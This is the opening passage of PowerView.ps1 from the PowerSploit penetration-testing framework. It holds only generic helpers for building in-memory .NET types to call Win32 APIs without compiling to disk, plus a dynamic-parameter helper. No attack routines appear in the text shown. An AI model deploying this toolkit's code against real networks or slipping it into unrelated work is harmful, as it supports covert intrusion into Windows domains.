24811 lines
878 KiB
PowerShell
24811 lines
878 KiB
PowerShell
#requires -version 2
|
|
|
|
<#
|
|
|
|
PowerSploit File: PowerView.ps1
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
#>
|
|
|
|
|
|
########################################################
|
|
#
|
|
# PSReflect code for Windows API access
|
|
# Author: @mattifestation
|
|
# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
|
|
#
|
|
########################################################
|
|
|
|
function New-InMemoryModule {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates an in-memory assembly and module
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
When defining custom enums, structs, and unmanaged functions, it is
|
|
necessary to associate to an assembly module. This helper function
|
|
creates an in-memory module that can be passed to the 'enum',
|
|
'struct', and Add-Win32Type functions.
|
|
|
|
.PARAMETER ModuleName
|
|
|
|
Specifies the desired name for the in-memory assembly and module. If
|
|
ModuleName is not provided, it will default to a GUID.
|
|
|
|
.EXAMPLE
|
|
|
|
$Module = New-InMemoryModule -ModuleName Win32
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ModuleName = [Guid]::NewGuid().ToString()
|
|
)
|
|
|
|
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
|
|
$LoadedAssemblies = $AppDomain.GetAssemblies()
|
|
|
|
foreach ($Assembly in $LoadedAssemblies) {
|
|
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
|
|
return $Assembly
|
|
}
|
|
}
|
|
|
|
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
|
|
$Domain = $AppDomain
|
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
|
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
|
|
|
|
return $ModuleBuilder
|
|
}
|
|
|
|
|
|
# A helper function used to reduce typing while defining function
|
|
# prototypes for Add-Win32Type.
|
|
function func {
|
|
Param (
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[String]
|
|
$DllName,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[string]
|
|
$FunctionName,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[Type]
|
|
$ReturnType,
|
|
|
|
[Parameter(Position = 3)]
|
|
[Type[]]
|
|
$ParameterTypes,
|
|
|
|
[Parameter(Position = 4)]
|
|
[Runtime.InteropServices.CallingConvention]
|
|
$NativeCallingConvention,
|
|
|
|
[Parameter(Position = 5)]
|
|
[Runtime.InteropServices.CharSet]
|
|
$Charset,
|
|
|
|
[String]
|
|
$EntryPoint,
|
|
|
|
[Switch]
|
|
$SetLastError
|
|
)
|
|
|
|
$Properties = @{
|
|
DllName = $DllName
|
|
FunctionName = $FunctionName
|
|
ReturnType = $ReturnType
|
|
}
|
|
|
|
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
|
|
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
|
|
if ($Charset) { $Properties['Charset'] = $Charset }
|
|
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
|
|
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
|
|
|
|
New-Object PSObject -Property $Properties
|
|
}
|
|
|
|
|
|
function Add-Win32Type
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates a .NET type for an unmanaged Win32 function.
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: func
|
|
|
|
.DESCRIPTION
|
|
|
|
Add-Win32Type enables you to easily interact with unmanaged (i.e.
|
|
Win32 unmanaged) functions in PowerShell. After providing
|
|
Add-Win32Type with a function signature, a .NET type is created
|
|
using reflection (i.e. csc.exe is never called like with Add-Type).
|
|
|
|
The 'func' helper function can be used to reduce typing when defining
|
|
multiple function definitions.
|
|
|
|
.PARAMETER DllName
|
|
|
|
The name of the DLL.
|
|
|
|
.PARAMETER FunctionName
|
|
|
|
The name of the target function.
|
|
|
|
.PARAMETER EntryPoint
|
|
|
|
The DLL export function name. This argument should be specified if the
|
|
specified function name is different than the name of the exported
|
|
function.
|
|
|
|
.PARAMETER ReturnType
|
|
|
|
The return type of the function.
|
|
|
|
.PARAMETER ParameterTypes
|
|
|
|
The function parameters.
|
|
|
|
.PARAMETER NativeCallingConvention
|
|
|
|
Specifies the native calling convention of the function. Defaults to
|
|
stdcall.
|
|
|
|
.PARAMETER Charset
|
|
|
|
If you need to explicitly call an 'A' or 'W' Win32 function, you can
|
|
specify the character set.
|
|
|
|
.PARAMETER SetLastError
|
|
|
|
Indicates whether the callee calls the SetLastError Win32 API
|
|
function before returning from the attributed method.
|
|
|
|
.PARAMETER Module
|
|
|
|
The in-memory module that will host the functions. Use
|
|
New-InMemoryModule to define an in-memory module.
|
|
|
|
.PARAMETER Namespace
|
|
|
|
An optional namespace to prepend to the type. Add-Win32Type defaults
|
|
to a namespace consisting only of the name of the DLL.
|
|
|
|
.EXAMPLE
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
$FunctionDefinitions = @(
|
|
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
|
|
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
|
|
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
|
|
)
|
|
|
|
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
|
|
$Kernel32 = $Types['kernel32']
|
|
$Ntdll = $Types['ntdll']
|
|
$Ntdll::RtlGetCurrentPeb()
|
|
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
|
|
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
|
|
|
|
.NOTES
|
|
|
|
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
|
|
|
|
When defining multiple function prototypes, it is ideal to provide
|
|
Add-Win32Type with an array of function signatures. That way, they
|
|
are all incorporated into the same in-memory module.
|
|
#>
|
|
|
|
[OutputType([Hashtable])]
|
|
Param(
|
|
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
|
|
[String]
|
|
$DllName,
|
|
|
|
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
|
|
[String]
|
|
$FunctionName,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
|
[String]
|
|
$EntryPoint,
|
|
|
|
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
|
|
[Type]
|
|
$ReturnType,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
|
[Type[]]
|
|
$ParameterTypes,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
|
[Runtime.InteropServices.CallingConvention]
|
|
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
|
[Runtime.InteropServices.CharSet]
|
|
$Charset = [Runtime.InteropServices.CharSet]::Auto,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
|
[Switch]
|
|
$SetLastError,
|
|
|
|
[Parameter(Mandatory=$True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[ValidateNotNull()]
|
|
[String]
|
|
$Namespace = ''
|
|
)
|
|
|
|
BEGIN
|
|
{
|
|
$TypeHash = @{}
|
|
}
|
|
|
|
PROCESS
|
|
{
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
if ($Namespace)
|
|
{
|
|
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
|
|
}
|
|
else
|
|
{
|
|
$TypeHash[$DllName] = $Module.GetType($DllName)
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# Define one type for each DLL
|
|
if (!$TypeHash.ContainsKey($DllName))
|
|
{
|
|
if ($Namespace)
|
|
{
|
|
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
|
|
}
|
|
else
|
|
{
|
|
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
|
|
}
|
|
}
|
|
|
|
$Method = $TypeHash[$DllName].DefineMethod(
|
|
$FunctionName,
|
|
'Public,Static,PinvokeImpl',
|
|
$ReturnType,
|
|
$ParameterTypes)
|
|
|
|
# Make each ByRef parameter an Out parameter
|
|
$i = 1
|
|
foreach($Parameter in $ParameterTypes)
|
|
{
|
|
if ($Parameter.IsByRef)
|
|
{
|
|
[void] $Method.DefineParameter($i, 'Out', $null)
|
|
}
|
|
|
|
$i++
|
|
}
|
|
|
|
$DllImport = [Runtime.InteropServices.DllImportAttribute]
|
|
$SetLastErrorField = $DllImport.GetField('SetLastError')
|
|
$CallingConventionField = $DllImport.GetField('CallingConvention')
|
|
$CharsetField = $DllImport.GetField('CharSet')
|
|
$EntryPointField = $DllImport.GetField('EntryPoint')
|
|
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
|
|
|
|
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
|
|
|
|
# Equivalent to C# version of [DllImport(DllName)]
|
|
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
|
|
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
|
|
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
|
|
[Reflection.FieldInfo[]] @($SetLastErrorField,
|
|
$CallingConventionField,
|
|
$CharsetField,
|
|
$EntryPointField),
|
|
[Object[]] @($SLEValue,
|
|
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
|
|
([Runtime.InteropServices.CharSet] $Charset),
|
|
$ExportedFuncName))
|
|
|
|
$Method.SetCustomAttribute($DllImportAttribute)
|
|
}
|
|
}
|
|
|
|
END
|
|
{
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return $TypeHash
|
|
}
|
|
|
|
$ReturnTypes = @{}
|
|
|
|
foreach ($Key in $TypeHash.Keys)
|
|
{
|
|
$Type = $TypeHash[$Key].CreateType()
|
|
|
|
$ReturnTypes[$Key] = $Type
|
|
}
|
|
|
|
return $ReturnTypes
|
|
}
|
|
}
|
|
|
|
|
|
function psenum {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates an in-memory enumeration for use in your PowerShell session.
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
The 'psenum' function facilitates the creation of enums entirely in
|
|
memory using as close to a "C style" as PowerShell will allow.
|
|
|
|
.PARAMETER Module
|
|
|
|
The in-memory module that will host the enum. Use
|
|
New-InMemoryModule to define an in-memory module.
|
|
|
|
.PARAMETER FullName
|
|
|
|
The fully-qualified name of the enum.
|
|
|
|
.PARAMETER Type
|
|
|
|
The type of each enum element.
|
|
|
|
.PARAMETER EnumElements
|
|
|
|
A hashtable of enum elements.
|
|
|
|
.PARAMETER Bitfield
|
|
|
|
Specifies that the enum should be treated as a bitfield.
|
|
|
|
.EXAMPLE
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
|
|
UNKNOWN = 0
|
|
NATIVE = 1 # Image doesn't require a subsystem.
|
|
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
|
|
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
|
|
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
|
|
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
|
|
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
|
|
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
|
|
EFI_APPLICATION = 10
|
|
EFI_BOOT_SERVICE_DRIVER = 11
|
|
EFI_RUNTIME_DRIVER = 12
|
|
EFI_ROM = 13
|
|
XBOX = 14
|
|
WINDOWS_BOOT_APPLICATION = 16
|
|
}
|
|
|
|
.NOTES
|
|
|
|
PowerShell purists may disagree with the naming of this function but
|
|
again, this was developed in such a way so as to emulate a "C style"
|
|
definition as closely as possible. Sorry, I'm not going to name it
|
|
New-Enum. :P
|
|
#>
|
|
|
|
[OutputType([Type])]
|
|
Param (
|
|
[Parameter(Position = 0, Mandatory=$True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[Parameter(Position = 1, Mandatory=$True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$FullName,
|
|
|
|
[Parameter(Position = 2, Mandatory=$True)]
|
|
[Type]
|
|
$Type,
|
|
|
|
[Parameter(Position = 3, Mandatory=$True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$EnumElements,
|
|
|
|
[Switch]
|
|
$Bitfield
|
|
)
|
|
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return ($Module.GetType($FullName))
|
|
}
|
|
|
|
$EnumType = $Type -as [Type]
|
|
|
|
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
|
|
|
|
if ($Bitfield)
|
|
{
|
|
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
|
|
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
|
|
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
|
|
}
|
|
|
|
foreach ($Key in $EnumElements.Keys)
|
|
{
|
|
# Apply the specified enum type to each element
|
|
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
|
|
}
|
|
|
|
$EnumBuilder.CreateType()
|
|
}
|
|
|
|
|
|
# A helper function used to reduce typing while defining struct
|
|
# fields.
|
|
function field {
|
|
Param (
|
|
[Parameter(Position = 0, Mandatory=$True)]
|
|
[UInt16]
|
|
$Position,
|
|
|
|
[Parameter(Position = 1, Mandatory=$True)]
|
|
[Type]
|
|
$Type,
|
|
|
|
[Parameter(Position = 2)]
|
|
[UInt16]
|
|
$Offset,
|
|
|
|
[Object[]]
|
|
$MarshalAs
|
|
)
|
|
|
|
@{
|
|
Position = $Position
|
|
Type = $Type -as [Type]
|
|
Offset = $Offset
|
|
MarshalAs = $MarshalAs
|
|
}
|
|
}
|
|
|
|
|
|
function struct
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates an in-memory struct for use in your PowerShell session.
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: field
|
|
|
|
.DESCRIPTION
|
|
|
|
The 'struct' function facilitates the creation of structs entirely in
|
|
memory using as close to a "C style" as PowerShell will allow. Struct
|
|
fields are specified using a hashtable where each field of the struct
|
|
is comprosed of the order in which it should be defined, its .NET
|
|
type, and optionally, its offset and special marshaling attributes.
|
|
|
|
One of the features of 'struct' is that after your struct is defined,
|
|
it will come with a built-in GetSize method as well as an explicit
|
|
converter so that you can easily cast an IntPtr to the struct without
|
|
relying upon calling SizeOf and/or PtrToStructure in the Marshal
|
|
class.
|
|
|
|
.PARAMETER Module
|
|
|
|
The in-memory module that will host the struct. Use
|
|
New-InMemoryModule to define an in-memory module.
|
|
|
|
.PARAMETER FullName
|
|
|
|
The fully-qualified name of the struct.
|
|
|
|
.PARAMETER StructFields
|
|
|
|
A hashtable of fields. Use the 'field' helper function to ease
|
|
defining each field.
|
|
|
|
.PARAMETER PackingSize
|
|
|
|
Specifies the memory alignment of fields.
|
|
|
|
.PARAMETER ExplicitLayout
|
|
|
|
Indicates that an explicit offset for each field will be specified.
|
|
|
|
.EXAMPLE
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
|
|
DOS_SIGNATURE = 0x5A4D
|
|
OS2_SIGNATURE = 0x454E
|
|
OS2_SIGNATURE_LE = 0x454C
|
|
VXD_SIGNATURE = 0x454C
|
|
}
|
|
|
|
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
|
|
e_magic = field 0 $ImageDosSignature
|
|
e_cblp = field 1 UInt16
|
|
e_cp = field 2 UInt16
|
|
e_crlc = field 3 UInt16
|
|
e_cparhdr = field 4 UInt16
|
|
e_minalloc = field 5 UInt16
|
|
e_maxalloc = field 6 UInt16
|
|
e_ss = field 7 UInt16
|
|
e_sp = field 8 UInt16
|
|
e_csum = field 9 UInt16
|
|
e_ip = field 10 UInt16
|
|
e_cs = field 11 UInt16
|
|
e_lfarlc = field 12 UInt16
|
|
e_ovno = field 13 UInt16
|
|
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
|
|
e_oemid = field 15 UInt16
|
|
e_oeminfo = field 16 UInt16
|
|
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
|
|
e_lfanew = field 18 Int32
|
|
}
|
|
|
|
# Example of using an explicit layout in order to create a union.
|
|
$TestUnion = struct $Mod TestUnion @{
|
|
field1 = field 0 UInt32 0
|
|
field2 = field 1 IntPtr 0
|
|
} -ExplicitLayout
|
|
|
|
.NOTES
|
|
|
|
PowerShell purists may disagree with the naming of this function but
|
|
again, this was developed in such a way so as to emulate a "C style"
|
|
definition as closely as possible. Sorry, I'm not going to name it
|
|
New-Struct. :P
|
|
#>
|
|
|
|
[OutputType([Type])]
|
|
Param (
|
|
[Parameter(Position = 1, Mandatory=$True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[Parameter(Position = 2, Mandatory=$True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$FullName,
|
|
|
|
[Parameter(Position = 3, Mandatory=$True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$StructFields,
|
|
|
|
[Reflection.Emit.PackingSize]
|
|
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
|
|
|
|
[Switch]
|
|
$ExplicitLayout
|
|
)
|
|
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return ($Module.GetType($FullName))
|
|
}
|
|
|
|
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
|
|
Class,
|
|
Public,
|
|
Sealed,
|
|
BeforeFieldInit'
|
|
|
|
if ($ExplicitLayout)
|
|
{
|
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
|
|
}
|
|
else
|
|
{
|
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
|
|
}
|
|
|
|
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
|
|
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
|
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
|
|
|
$Fields = New-Object Hashtable[]($StructFields.Count)
|
|
|
|
# Sort each field according to the orders specified
|
|
# Unfortunately, PSv2 doesn't have the luxury of the
|
|
# hashtable [Ordered] accelerator.
|
|
foreach ($Field in $StructFields.Keys)
|
|
{
|
|
$Index = $StructFields[$Field]['Position']
|
|
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
|
|
}
|
|
|
|
foreach ($Field in $Fields)
|
|
{
|
|
$FieldName = $Field['FieldName']
|
|
$FieldProp = $Field['Properties']
|
|
|
|
$Offset = $FieldProp['Offset']
|
|
$Type = $FieldProp['Type']
|
|
$MarshalAs = $FieldProp['MarshalAs']
|
|
|
|
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
|
|
|
|
if ($MarshalAs)
|
|
{
|
|
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
|
|
if ($MarshalAs[1])
|
|
{
|
|
$Size = $MarshalAs[1]
|
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
|
|
$UnmanagedType, $SizeConst, @($Size))
|
|
}
|
|
else
|
|
{
|
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
|
|
}
|
|
|
|
$NewField.SetCustomAttribute($AttribBuilder)
|
|
}
|
|
|
|
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
|
|
}
|
|
|
|
# Make the struct aware of its own size.
|
|
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
|
|
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
|
|
'Public, Static',
|
|
[Int],
|
|
[Type[]] @())
|
|
$ILGenerator = $SizeMethod.GetILGenerator()
|
|
# Thanks for the help, Jason Shirk!
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Type].GetMethod('GetTypeFromHandle'))
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
|
|
|
|
# Allow for explicit casting from an IntPtr
|
|
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
|
|
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
|
|
'PrivateScope, Public, Static, HideBySig, SpecialName',
|
|
$StructBuilder,
|
|
[Type[]] @([IntPtr]))
|
|
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Type].GetMethod('GetTypeFromHandle'))
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
|
|
|
|
$StructBuilder.CreateType()
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# Misc. helpers
|
|
#
|
|
########################################################
|
|
|
|
Function New-DynamicParameter {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper function to simplify creating dynamic parameters.
|
|
|
|
Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.
|
|
Originally released under the Microsoft Public License (Ms-PL).
|
|
|
|
.DESCRIPTION
|
|
|
|
Helper function to simplify creating dynamic parameters.
|
|
|
|
Example use cases:
|
|
Include parameters only if your environment dictates it
|
|
Include parameters depending on the value of a user-specified parameter
|
|
Provide tab completion and intellisense for parameters, depending on the environment
|
|
|
|
Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.
|
|
Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
|
|
('Process' for advanced functions) to create those variables.
|
|
Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
|
|
|
|
This function has two operating modes:
|
|
|
|
1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,
|
|
with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.
|
|
|
|
2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.
|
|
Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,
|
|
with custom conditions and so on.
|
|
|
|
.NOTES
|
|
|
|
Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
|
|
https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
|
|
http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/
|
|
http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/
|
|
|
|
Credit to BM for alias and type parameters and their handling
|
|
|
|
.PARAMETER Name
|
|
|
|
Name of the dynamic parameter
|
|
|
|
.PARAMETER Type
|
|
|
|
Type for the dynamic parameter. Default is string
|
|
|
|
.PARAMETER Alias
|
|
|
|
If specified, one or more aliases to assign to the dynamic parameter
|
|
|
|
.PARAMETER Mandatory
|
|
|
|
If specified, set the Mandatory attribute for this dynamic parameter
|
|
|
|
.PARAMETER Position
|
|
|
|
If specified, set the Position attribute for this dynamic parameter
|
|
|
|
.PARAMETER HelpMessage
|
|
|
|
If specified, set the HelpMessage for this dynamic parameter
|
|
|
|
.PARAMETER DontShow
|
|
|
|
If specified, set the DontShow for this dynamic parameter.
|
|
This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
|
|
http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
|
|
|
|
.PARAMETER ValueFromPipeline
|
|
|
|
If specified, set the ValueFromPipeline attribute for this dynamic parameter
|
|
|
|
.PARAMETER ValueFromPipelineByPropertyName
|
|
|
|
If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
|
|
|
|
.PARAMETER ValueFromRemainingArguments
|
|
|
|
If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
|
|
|
|
.PARAMETER ParameterSetName
|
|
|
|
If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.
|
|
|
|
.PARAMETER AllowNull
|
|
|
|
If specified, set the AllowNull attribute of this dynamic parameter
|
|
|
|
.PARAMETER AllowEmptyString
|
|
|
|
If specified, set the AllowEmptyString attribute of this dynamic parameter
|
|
|
|
.PARAMETER AllowEmptyCollection
|
|
|
|
If specified, set the AllowEmptyCollection attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidateNotNull
|
|
|
|
If specified, set the ValidateNotNull attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidateNotNullOrEmpty
|
|
|
|
If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidateRange
|
|
|
|
If specified, set the ValidateRange attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidateLength
|
|
|
|
If specified, set the ValidateLength attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidatePattern
|
|
|
|
If specified, set the ValidatePattern attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidateScript
|
|
|
|
If specified, set the ValidateScript attribute of this dynamic parameter
|
|
|
|
.PARAMETER ValidateSet
|
|
|
|
If specified, set the ValidateSet attribute of this dynamic parameter
|
|
|
|
.PARAMETER Dictionary
|
|
|
|
If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.
|
|
Appropriate for custom dynamic parameters creation.
|
|
|
|
If not specified, create and return a RuntimeDefinedParameterDictionary
|
|
Appropriate for a simple dynamic parameter creation.
|
|
#>
|
|
|
|
[CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
|
|
Param (
|
|
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$Name,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[System.Type]$Type = [int],
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[string[]]$Alias,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$Mandatory,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[int]$Position,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[string]$HelpMessage,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$DontShow,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$ValueFromPipeline,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$ValueFromPipelineByPropertyName,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$ValueFromRemainingArguments,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[string]$ParameterSetName = '__AllParameterSets',
|
|
|
|
